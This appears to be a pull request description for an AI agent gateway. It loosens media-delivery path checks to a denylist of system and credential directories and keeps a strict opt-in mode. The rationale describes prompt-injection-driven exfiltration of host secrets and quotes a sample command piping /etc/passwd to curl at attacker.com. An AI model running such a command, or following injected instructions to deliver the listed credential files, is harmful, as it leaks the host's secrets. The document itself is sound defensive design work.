PR #29523 restricted MEDIA: paths and bare local paths in agent output to
files under the Hermes media cache or an operator-allowlisted root, with
a 10-minute recency window as a fallback. The intent was to defend
against prompt-injection-driven exfiltration of host secrets, but in the
default single-user setup the asymmetry doesn't earn its keep: we accept
any document type the user uploads inbound (.md, .pdf, .txt, .docx, ...)
and the agent already has terminal access — anything that can convince
it to emit a MEDIA: tag for /etc/passwd can equally convince it to
`cat /etc/passwd | curl attacker.com`.
Practical breakage: agents that produced an .md, .pdf, or other
artifact more than ~10 minutes ago, or outside the cache allowlist,
showed the user a raw filepath in chat instead of the file.
Default flipped to denylist-only:
• /etc, /proc, /sys, /dev, /root, /boot, /var/{log,lib,run}
• $HOME/{.ssh,.aws,.gnupg,.kube,.docker,.config,.azure,.gcloud}
• macOS Library/Keychains
• $HERMES_HOME/{.env, auth.json, credentials}
The legacy allowlist+recency-window behavior stays available via
opt-in: `gateway.strict: true` in config.yaml (or
`HERMES_MEDIA_DELIVERY_STRICT=1`). Recommended for public-facing bots
where prompt injection from one user shouldn't be able to exfiltrate
the host's secrets to that same user.
• `gateway/platforms/base.py` — `validate_media_delivery_path()`
short-circuits to "return resolved if not under denylist" when
strict is off. Strict mode preserves the original cache-then-
allowlist-then-recency logic. New `_media_delivery_strict_mode()`
reader for `HERMES_MEDIA_DELIVERY_STRICT`.
• `hermes_cli/config.py` — `gateway.strict: false` added to
DEFAULT_CONFIG; existing keys documented as "only consulted in
strict mode." No `_config_version` bump needed (deep-merge picks
up the new default for old installs).
• `gateway/run.py` — bridges `gateway.strict` →
`HERMES_MEDIA_DELIVERY_STRICT` at startup.
• `tools/send_message_tool.py` — schema description broadened back
to plain "any local path."
• Tests — existing strict-path tests pinned to STRICT=1 so they keep
exercising the legacy behavior; new `TestMediaDeliveryDefaultMode`
with 8 cases covering the public default (stale .md accepted, any
extension delivers, credential paths still blocked, strict env-var
aliases, filter E2E).
Validation:
- tests/gateway/test_platform_base.py: 119/119 pass
- tests/gateway/test_tts_media_routing.py: 7/7 pass
- tests/tools/test_send_message_tool.py: 121/121 pass
- tests/hermes_cli/test_kanban_notify.py: 12/12 pass
- tests/cron/test_scheduler.py: 120/120 pass
- E2E via execute_code with real imports:
• stale .md outside allowlist → accepted (default)
• same path with STRICT=1 → rejected
• $HOME/.ssh/id_rsa → rejected (default)
• filter_local_delivery_paths([md, key]) → [md] only
• gateway.strict in config.yaml → bridged to env (true=1, false=0)
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